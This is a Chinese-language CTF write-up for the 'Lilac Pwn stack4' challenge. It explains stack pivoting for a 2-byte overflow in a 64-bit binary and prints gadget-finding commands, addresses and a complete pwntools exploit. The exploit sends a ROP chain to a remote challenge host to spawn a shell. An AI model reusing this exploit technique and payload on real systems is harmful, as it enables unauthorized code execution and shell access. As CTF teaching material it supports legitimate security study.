zoukankan      html  css  js  c++  java
  • Lilac Pwn stack4-stack_pivoting Writeup

    题目链接

    文件类型是 64 位 ELF。

    开了 NX 保护。

    用 IDA64 查看一下:

    可以看到 print_name 最多只能溢出 2 个字节。

    也就是说只能覆盖 rbp 的最低 2 个字节。

    此时需要使用栈迁移的技巧。

    此题相对容易,因为已经给出了 buf 的地址,我们只需要把 main 函数栈帧的 rbp 迁移到 buf 处,然后在 buf 处构造 ROP chain 即可。

    原来 print_name 栈帧的栈底指向 main 栈帧的栈底。

                            
                high address      
                            +--------------------+ <--+ 
                   +------> |    previous rbp    |    |
                   |        +--------------------+    |
                   |        |       ......       |    |
                   |        +--------------------+    | main()
                   |        |        buf         |    |
                   |        +--------------------+    |
                   |        |   return address   |    |
                   |        +--------------------+ <--+
                   +------- |    previous rbp    |    |
                            +--------------------+    |
                            |       ......       |    | print_name()
                            +--------------------+    |
                            |        dest        |    |
                            +--------------------+ <--+
                low address       
    
    

    覆盖后 main 栈帧的栈底迁移到 buf,然后在 buf 上构造 ROP chain,这样 main 函数返回后就去执行 ROP chain 了。

                            
                high address      
                            +--------------------+      
                            |    previous rbp    |     
                            +--------------------+     
                            |       ......       |     
                            +--------------------+     
                            |      ROP chain     |     
                            +--------------------+ <--+     
                   +------> |        buf         |    |
                   |        +--------------------+    | main()
                   |        |   return address   |    |
                   |        +--------------------+ <--+
                   +------- |    previous rbp    |    |
                            +--------------------+    |
                            |       ......       |    | print_name()
                            +--------------------+    |
                            |        dest        |    |
                            +--------------------+ <--+
                low address       
    
    
    objdump -d stack4 | grep 'plt'
    

    system 函数的地址为 0x400600

    ROPgadget --binary stack4 --only "pop|ret" | grep "rdi"
    

    pop rdi; ret 的地址为 0x4008a3

    ROPgadget --binary stack4 --string "/bin/sh"
    

    字符串 "/bin/sh" 的地址为 0x4008c9

    所以 payload 为 fake rbp (随便填) + pop rdi; ret + "/bin/sh" + system + 填充16个字节 + buf 的地址

    print_name 中 dest 与 rbp 的距离为 48 个字节,fake rbp (随便填) + pop rdi; ret + "/bin/sh" + system 有 32 个字节,因此还需填充 16 个字节才到 rbp。然后 buf 的地址 只能覆盖 rbp 的最低两个字节,但是足够了,因为 main 函数中 buf 到 rbp 的距离为 256 个字节。

    exp 如下:

    from pwn import *
    import re
    
    # context.log_level = "debug"
    
    # p = process("./stack4")
    p = remote("47.94.239.235", 2024)
    
    p.recvuntil(":")
    buf_addr = p.recvuntil("
    ")
    buf_addr = int(buf_addr[-15:-1], 16) # buf 的地址
    # print(hex(addr))
    
    poprdi_addr = 0x4008a3
    binsh_addr = 0x4008c9
    system_addr = 0x400600
    
    
    payload = flat([p64(0xdeadbeef), p64(poprdi_addr), p64(binsh_addr), p64(system_addr), 'a'*16, p64(buf_addr) ])
    
    p.sendlineafter("plz", payload)
    
    p.interactive()
    
    

    成功拿到 shell。

  • 相关阅读:
    mybatis :xml文件中传入参数和if标签结合使用时要点
    mysql:查询数据库版本的几种方式
    http post 方法传递参数的2种方式
    深入理解mybatis参数
    Mybatis:动态sql
    Mybatis:传入参数方式以及#{}与${}的区别
    [GLSL]着色器周记02——火焰特效 【转】
    OpenGL ES入门09-GLSL实现常见特效 [转]
    RenderMonkey 练习 第五天 【OpenGL NormalMapping】
    反射向量 及 向量投影
  • 原文地址:https://www.cnblogs.com/wulitaotao/p/13909467.html
Copyright © 2011-2022 走看看